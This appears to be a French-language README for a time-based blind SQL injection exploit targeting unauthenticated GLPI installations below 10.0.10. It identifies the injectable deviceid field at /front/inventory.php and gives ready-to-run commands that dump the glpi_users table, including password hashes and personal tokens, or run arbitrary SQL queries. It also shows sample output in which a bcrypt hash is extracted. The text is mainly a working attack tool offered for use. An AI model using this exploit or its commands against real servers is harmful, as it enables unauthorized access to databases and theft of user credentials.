
Exploit d'injection SQL aveugle basée sur le temps pour CVE-2023-36808 dans GLPI < 10.0.10. Extrait les identifiants utilisateur et le contenu de la base de données via le point de terminaison d'inventaire XML non authentifié avec optimisation par recherche binaire.
Les versions < 10.0.10 de GLPI exposent un point de terminaison XML d'inventaire non authentifié sur /front/inventory.php.
Le champ <deviceid> est injecté directement dans une requête SQL sans nettoyage :
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
Aucune authentification n'est requise. La vulnérabilité permet un accès complet en lecture à la base de données via une injection SQL aveugle.
Ce script utilise l'injection aveugle basée sur le temps avec recherche binaire pour extraire les données beaucoup plus rapidement que les outils génériques.
pip install -r requirements.txt
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi
# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...